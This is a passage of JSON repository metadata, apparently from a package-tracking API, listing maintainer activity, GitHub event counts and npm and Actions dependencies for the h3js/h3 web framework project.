edo":1,"logaretm":1}},"maintainers":[{"table":{"login":"pi0","count":70,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pi0"}},{"table":{"login":"kricsleo","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kricsleo"}},{"table":{"login":"productdevbook","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/productdevbook"}},{"table":{"login":"sandros94","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sandros94"}},{"table":{"login":"danielroe","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielroe"}}],"active_maintainers":[{"table":{"login":"pi0","count":66,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pi0"}},{"table":{"login":"productdevbook","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/productdevbook"}},{"table":{"login":"sandros94","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sandros94"}},{"table":{"login":"kricsleo","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kricsleo"}},{"table":{"login":"danielroe","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielroe"}}]}},"events":{"total":{"CreateEvent":67,"CommitCommentEvent":2,"ReleaseEvent":16,"DeleteEvent":47,"PullRequestEvent":202,"ForkEvent":45,"DiscussionEvent":5,"IssuesEvent":110,"WatchEvent":667,"IssueCommentEvent":340,"PushEvent":392,"PullRequestReviewCommentEvent":91,"PullRequestReviewEvent":151},"last_year":{"CreateEvent":63,"CommitCommentEvent":2,"ReleaseEvent":14,"DeleteEvent":45,"PullRequestEvent":166,"ForkEvent":38,"DiscussionEvent":5,"IssuesEvent":91,"WatchEvent":584,"IssueCommentEvent":291,"PushEvent":365,"PullRequestReviewEvent":123,"PullRequestReviewCommentEvent":78}},"keywords":[],"dependencies":[{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2022-06-29T08:12:34.308Z","updated_at":"2022-06-29T08:12:34.308Z","repository_link":"https://github.com/h3js/h3/blob/main/package.json","dependencies":[{"id":94225759,"package_name":"cookie-es","ecosystem":"npm","requirements":"^0.5.0","direct":true,"kind":"runtime","optional":false},{"id":94225760,"package_name":"destr","ecosystem":"npm","requirements":"^1.1.1","direct":true,"kind":"runtime","optional":false},{"id":94225761,"package_name":"radix3","ecosystem":"npm","requirements":"^0.1.2","direct":true,"kind":"runtime","optional":false},{"id":94225762,"package_name":"ufo","ecosystem":"npm","requirements":"^0.8.4","direct":true,"kind":"runtime","optional":false},{"id":94225763,"package_name":"0x","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225764,"package_name":"@nuxtjs/eslint-config-typescript","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225765,"package_name":"@types/cookie","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225766,"package_name":"@types/express","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225767,"package_name":"@types/node","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225768,"package_name":"@types/supertest","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225769,"package_name":"autocannon","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225770,"package_name":"c8","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225771,"package_name":"connect","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225772,"package_name":"eslint","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225773,"package_name":"express","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225774,"package_name":"get-port","ecosystem":"npm","requirements":"^6.1.2","direct":true,"kind":"development","optional":false},{"id":94225775,"package_name":"jiti","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225776,"package_name":"listhen","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225777,"package_name":"standard-version","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225778,"package_name":"supertest","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225779,"package_name":"typescript","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225780,"package_name":"unbuild","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false},{"id":94225781,"package_name":"vitest","ecosystem":"npm","requirements":"latest","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2023-01-17T13:16:02.997Z","updated_at":"2023-01-17T13:16:02.997Z","repository_link":"https://github.com/h3js/h3/blob/main/.github/workflows/ci.yml","dependencies":[{"id":6994680676,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6994680677,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6994680678,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"npm","filepath":"pnpm-lock.yaml","sha":null,"kind":"lockfile","created_at":"2023-01-17T13:16:03.339Z","updated_at":"2023-01-17T13:16:03.339Z","repository_link":"https://github.com/h3js/h3/blob/main/pnpm-lock.yaml","dependencies":[{"id":6994685038,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":6994685039,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685040,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":6994685041,"package_name":"eslint","ecosystem":"npm","requirements":"8.32.0","direct":false,"kind":"development","optional":false},{"id":6994685042,"package_name":"espree","ecosystem":"npm","requirements":"9.4.0","direct":false,"kind":"development","optional":false},{"id":6994685043,"package_name":"esquery","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994685044,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":6994685045,"package_name":"estraverse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":6994685046,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"development","optional":false},{"id":6994685047,"package_name":"estree-is-member-expression","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685048,"package_name":"estree-walker","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685049,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":6994685050,"package_name":"etag","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"development","optional":false},{"id":6994685051,"package_name":"events","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":6994685052,"package_name":"evp_bytestokey","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685053,"package_name":"execa","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":6994685054,"package_name":"execa","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"development","optional":false},{"id":6994685055,"package_name":"execspawn","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685056,"package_name":"express","ecosystem":"npm","requirements":"4.18.2","direct":false,"kind":"development","optional":false},{"id":6994685057,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"development","optional":false},{"id":6994685058,"package_name":"fast-glob","ecosystem":"npm","requirements":"3.2.11","direct":false,"kind":"development","optional":false},{"id":6994685059,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685060,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":6994685061,"package_name":"fast-safe-stringify","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685062,"package_name":"fastq","ecosystem":"npm","requirements":"1.13.0","direct":false,"kind":"development","optional":false},{"id":6994685063,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":6994685064,"package_name":"fill-range","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":6994685065,"package_name":"finalhandler","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685066,"package_name":"finalhandler","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994685067,"package_name":"find-up","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685068,"package_name":"find-up","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":6994685069,"package_name":"find-up","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":6994685070,"package_name":"flat-cache","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":6994685071,"package_name":"flat","ecosystem":"npm","requirements":"5.0.2","direct":false,"kind":"development","optional":false},{"id":6994685072,"package_name":"flatted","ecosystem":"npm","requirements":"3.2.5","direct":false,"kind":"development","optional":false},{"id":6994685073,"package_name":"foreach","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":6994685074,"package_name":"foreground-child","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685075,"package_name":"form-data","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685076,"package_name":"formidable","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685077,"package_name":"forwarded","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":6994685078,"package_name":"fresh","ecosystem":"npm","requirements":"0.5.2","direct":false,"kind":"development","optional":false},{"id":6994685079,"package_name":"fs-extra","ecosystem":"npm","requirements":"10.1.0","direct":false,"kind":"development","optional":false},{"id":6994685080,"package_name":"fs-extra","ecosystem":"npm","requirements":"11.1.0","direct":false,"kind":"development","optional":false},{"id":6994685081,"package_name":"fs-memo","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994685082,"package_name":"fs-minipass","ecosystem":"npm","requirements":"1.2.7","direct":false,"kind":"development","optional":false},{"id":6994685083,"package_name":"fs.realpath","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685084,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"development","optional":false},{"id":6994685085,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685086,"package_name":"functional-red-black-tree","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685087,"package_name":"gensync","ecosystem":"npm","requirements":"1.0.0-beta.2","direct":false,"kind":"development","optional":false},{"id":6994685088,"package_name":"get-assigned-identifiers","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994685089,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":6994685090,"package_name":"get-func-name","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685091,"package_name":"get-intrinsic","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685092,"package_name":"get-port-please","ecosystem":"npm","requirements":"2.6.1","direct":false,"kind":"development","optional":false},{"id":6994685093,"package_name":"get-port","ecosystem":"npm","requirements":"6.1.2","direct":false,"kind":"development","optional":false},{"id":6994685094,"package_name":"get-stream","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":6994685095,"package_name":"get-symbol-description","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685096,"package_name":"get-tsconfig","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"development","optional":false},{"id":6994685097,"package_name":"gittar","ecosystem":"npm","requirements":"0.1.1","direct":false,"kind":"development","optional":false},{"id":6994685098,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":6994685099,"package_name":"glob-parent","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":6994685100,"package_name":"glob","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":6994685101,"package_name":"glob","ecosystem":"npm","requirements":"8.0.3","direct":false,"kind":"development","optional":false},{"id":6994685102,"package_name":"globals","ecosystem":"npm","requirements":"11.12.0","direct":false,"kind":"development","optional":false},{"id":6994685104,"package_name":"globals","ecosystem":"npm","requirements":"13.19.0","direct":false,"kind":"development","optional":false},{"id":6994685105,"package_name":"globalyzer","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false},{"id":6994685106,"package_name":"globby","ecosystem":"npm","requirements":"11.1.0","direct":false,"kind":"development","optional":false},{"id":6994685108,"package_name":"globby","ecosystem":"npm","requirements":"13.1.3","direct":false,"kind":"development","optional":false},{"id":6994685110,"package_name":"globrex","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"development","optional":false},{"id":6994685112,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.9","direct":false,"kind":"development","optional":false},{"id":6994685113,"package_name":"grapheme-splitter","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685115,"package_name":"has-ansi","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685116,"package_name":"has-async-hooks","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685117,"package_name":"has-bigints","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685118,"package_name":"has-flag","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685119,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685120,"package_name":"has-symbols","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685121,"package_name":"has-tostringtag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685122,"package_name":"has-unicode","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685123,"package_name":"has","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685124,"package_name":"hash-base","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":6994685125,"package_name":"hash.js","ecosystem":"npm","requirements":"1.1.7","direct":false,"kind":"development","optional":false},{"id":6994685126,"package_name":"hdr-histogram-js","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685127,"package_name":"hdr-histogram-percentiles-obj","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685128,"package_name":"hexoid","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685129,"package_name":"hmac-drbg","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685130,"package_name":"hookable","ecosystem":"npm","requirements":"5.4.2","direct":false,"kind":"development","optional":false},{"id":6994685131,"package_name":"hosted-git-info","ecosystem":"npm","requirements":"2.8.9","direct":false,"kind":"development","optional":false},{"id":6994685132,"package_name":"hsl-to-rgb-for-reals","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685133,"package_name":"html-escaper","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685134,"package_name":"htmlescape","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685135,"package_name":"http-errors","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685136,"package_name":"http-parser-js","ecosystem":"npm","requirements":"0.5.6","direct":false,"kind":"development","optional":false},{"id":6994685137,"package_name":"http-shutdown","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"development","optional":false},{"id":6994685138,"package_name":"https-browserify","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685139,"package_name":"human-signals","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994685140,"package_name":"human-signals","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":6994685141,"package_name":"hyperid","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":6994685142,"package_name":"hyperscript-attribute-to-property","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685143,"package_name":"hyperx","ecosystem":"npm","requirements":"2.5.4","direct":false,"kind":"development","optional":false},{"id":6994685144,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.4.24","direct":false,"kind":"development","optional":false},{"id":6994685145,"package_name":"ieee754","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":6994685146,"package_name":"ignore","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":6994685147,"package_name":"import-fresh","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":6994685148,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":6994685149,"package_name":"indent-string","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685150,"package_name":"inflight","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":6994685151,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685152,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"development","optional":false},{"id":6994685153,"package_name":"inline-source-map","ecosystem":"npm","requirements":"0.6.2","direct":false,"kind":"development","optional":false},{"id":6994685154,"package_name":"insert-module-globals","ecosystem":"npm","requirements":"7.2.1","direct":false,"kind":"development","optional":false},{"id":6994685155,"package_name":"internal-slot","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994685156,"package_name":"internmap","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685202,"package_name":"js-tokens","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":6994685203,"package_name":"js-yaml","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":6994685204,"package_name":"jsesc","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"development","optional":false},{"id":6994685205,"package_name":"json-parse-even-better-errors","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":6994685206,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":6994685207,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685208,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685209,"package_name":"json5","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685210,"package_name":"json5","ecosystem":"npm","requirements":"2.2.3","direct":false,"kind":"development","optional":false},{"id":6994685211,"package_name":"jsonc-parser","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":6994685212,"package_name":"jsonfile","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"development","optional":false},{"id":6994685213,"package_name":"jsonparse","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":6994685214,"package_name":"jsonstream2","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685215,"package_name":"labeled-stream-splicer","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685216,"package_name":"levn","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":6994685217,"package_name":"lines-and-columns","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"development","optional":false},{"id":6994685218,"package_name":"listhen","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685219,"package_name":"local-pkg","ecosystem":"npm","requirements":"0.4.2","direct":false,"kind":"development","optional":false},{"id":6994685220,"package_name":"locate-path","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685221,"package_name":"locate-path","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":6994685222,"package_name":"locate-path","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":6994685223,"package_name":"lodash.chunk","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"development","optional":false},{"id":6994685224,"package_name":"lodash.clonedeep","ecosystem":"npm","requirements":"4.5.0","direct":false,"kind":"development","optional":false},{"id":6994685225,"package_name":"lodash.flatten","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"development","optional":false},{"id":6994685226,"package_name":"lodash.memoize","ecosystem":"npm","requirements":"3.0.4","direct":false,"kind":"development","optional":false},{"id":6994685227,"package_name":"lodash.merge","ecosystem":"npm","requirements":"4.6.2","direct":false,"kind":"development","optional":false},{"id":6994685228,"package_name":"lodash","ecosystem":"npm","requirements":"4.17.21","direct":false,"kind":"development","optional":false},{"id":6994685229,"package_name":"loupe","ecosystem":"npm","requirements":"2.3.4","direct":false,"kind":"development","optional":false},{"id":6994685230,"package_name":"lower-case","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":6994685231,"package_name":"lru-cache","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":6994685232,"package_name":"lru-cache","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":6994685233,"package_name":"magic-string","ecosystem":"npm","requirements":"0.23.2","direct":false,"kind":"development","optional":false},{"id":6994685234,"package_name":"magic-string","ecosystem":"npm","requirements":"0.27.0","direct":false,"kind":"development","optional":false},{"id":6994685235,"package_name":"make-dir","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":6994685236,"package_name":"manage-path","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685239,"package_name":"md5.js","ecosystem":"npm","requirements":"1.3.5","direct":false,"kind":"development","optional":false},{"id":6994685240,"package_name":"media-typer","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"development","optional":false},{"id":6994685241,"package_name":"merge-descriptors","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685242,"package_name":"merge-source-map","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685243,"package_name":"merge-stream","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685244,"package_name":"merge2","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":6994685245,"package_name":"methods","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685246,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.4","direct":false,"kind":"development","optional":false},{"id":6994685247,"package_name":"miller-rabin","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":6994685248,"package_name":"mime-db","ecosystem":"npm","requirements":"1.52.0","direct":false,"kind":"development","optional":false},{"id":6994685249,"package_name":"mime-types","ecosystem":"npm","requirements":"2.1.35","direct":false,"kind":"development","optional":false},{"id":6994685250,"package_name":"mime","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"development","optional":false},{"id":6994685251,"package_name":"mime","ecosystem":"npm","requirements":"2.6.0","direct":false,"kind":"development","optional":false},{"id":6994684709,"package_name":"0x","ecosystem":"npm","requirements":"5.4.1","direct":false,"kind":"development","optional":false},{"id":6994684710,"package_name":"@ampproject","ecosystem":"npm","requirements":"remapping","direct":false,"kind":"development","optional":false},{"id":6994684711,"package_name":"@assemblyscript","ecosystem":"npm","requirements":"loader","direct":false,"kind":"development","optional":false},{"id":6994684712,"package_name":"@babel","ecosystem":"npm","requirements":"code-frame","direct":false,"kind":"development","optional":false},{"id":6994684713,"package_name":"@babel","ecosystem":"npm","requirements":"compat-data","direct":false,"kind":"development","optional":false},{"id":6994684714,"package_name":"@babel","ecosystem":"npm","requirements":"core","direct":false,"kind":"development","optional":false},{"id":6994684715,"package_name":"@babel","ecosystem":"npm","requirements":"generator","direct":false,"kind":"development","optional":false},{"id":6994684716,"package_name":"@babel","ecosystem":"npm","requirements":"helper-compilation-targets","direct":false,"kind":"development","optional":false},{"id":6994684717,"package_name":"@babel","ecosystem":"npm","requirements":"helper-environment-visitor","direct":false,"kind":"development","optional":false},{"id":6994684718,"package_name":"@babel","ecosystem":"npm","requirements":"helper-function-name","direct":false,"kind":"development","optional":false},{"id":6994684719,"package_name":"@babel","ecosystem":"npm","requirements":"helper-hoist-variables","direct":false,"kind":"development","optional":false},{"id":6994684720,"package_name":"@babel","ecosystem":"npm","requirements":"helper-module-imports","direct":false,"kind":"development","optional":false},{"id":6994684721,"package_name":"@babel","ecosystem":"npm","requirements":"helper-module-transforms","direct":false,"kind":"development","optional":false},{"id":6994684722,"package_name":"@babel","ecosystem":"npm","requirements":"helper-simple-access","direct":false,"kind":"development","optional":false},{"id":6994684723,"package_name":"@babel","ecosystem":"npm","requirements":"helper-split-export-declaration","direct":false,"kind":"development","optional":false},{"id":6994684724,"package_name":"@babel","ecosystem":"npm","requirements":"helper-string-parser","direct":false,"kind":"development","optional":false},{"id":6994684725,"package_name":"@babel","ecosystem":"npm","requirements":"helper-validator-identifier","direct":false,"kind":"development","optional":false},{"id":6994684726,"package_name":"@babel","ecosystem":"npm","requirements":"helper-validator-option","direct":false,"kind":"development","optional":false},{"id":6994684727,"package_name":"@babel","ecosystem":"npm","requirements":"helpers","direct":false,"kind":"development","optional":false},{"id":6994684728,"package_name":"@babel","ecosystem":"npm","requirements":"highlight","direct":false,"kind":"development","optional":false},{"id":6994684729,"package_name":"@babel","ecosystem":"npm","requirements":"parser","direct":false,"kind":"development","optional":false},{"id":6994684730,"package_name":"@babel","ecosystem":"npm","requirements":"standalone","direct":false,"kind":"development","optional":false},{"id":6994684731,"package_name":"@babel","ecosystem":"npm","requirements":"template","direct":false,"kind":"development","optional":false},{"id":6994684732,"package_name":"@babel","ecosystem":"npm","requirements":"traverse","direct":false,"kind":"development","optional":false},{"id":6994684733,"package_name":"@babel","ecosystem":"npm","requirements":"types","direct":false,"kind":"development","optional":false},{"id":6994684734,"package_name":"@bcoe","ecosystem":"npm","requirements":"v8-coverage","direct":false,"kind":"development","optional":false},{"id":6994684735,"package_name":"@esbuild","ecosystem":"npm","requirements":"android-arm","direct":false,"kind":"development","optional":false},{"id":6994684736,"package_name":"@esbuild","ecosystem":"npm","requirements":"android-arm64","direct":false,"kind":"development","optional":false},{"id":6994684737,"package_name":"@esbuild","ecosystem":"npm","requirements":"android-x64","direct":false,"kind":"development","optional":false},{"id":6994684738,"package_name":"@esbuild","ecosystem":"npm","requirements":"darwin-arm64","direct":false,"kind":"development","optional":false},{"id":6994684739,"package_name":"@esbuild","ecosystem":"npm","requirements":"darwin-x64","direct":false,"kind":"development","optional":false},{"id":6994684740,"package_name":"@esbuild","ecosystem":"npm","requirements":"freebsd-arm64","direct":false,"kind":"development","optional":false},{"id":6994684741,"package_name":"@esbuild","ecosystem":"npm","requirements":"freebsd-x64","direct":false,"kind":"development","optional":false},{"id":6994684742,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-arm","direct":false,"kind":"development","optional":false},{"id":6994684743,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-arm64","direct":false,"kind":"development","optional":false},{"id":6994684744,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-ia32","direct":false,"kind":"development","optional":false},{"id":6994684745,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-loong64","direct":false,"kind":"development","optional":false},{"id":6994684746,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-mips64el","direct":false,"kind":"development","optional":false},{"id":6994684747,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-ppc64","direct":false,"kind":"development","optional":false},{"id":6994684748,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-riscv64","direct":false,"kind":"development","optional":false},{"id":6994684749,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-s390x","direct":false,"kind":"development","optional":false},{"id":6994684750,"package_name":"@esbuild","ecosystem":"npm","requirements":"linux-x64","direct":false,"kind":"development","optional":false},{"id":6994684751,"package_name":"@esbuild","ecosystem":"npm","requirements":"netbsd-x64","direct":false,"kind":"development","optional":false},{"id":6994684752,"package_name":"@esbuild","ecosystem":"npm","requirements":"openbsd-x64","direct":false,"kind":"development","optional":false},{"id":6994684753,"package_name":"@esbuild","ecosystem":"npm","requirements":"sunos-x64","direct":false,"kind":"de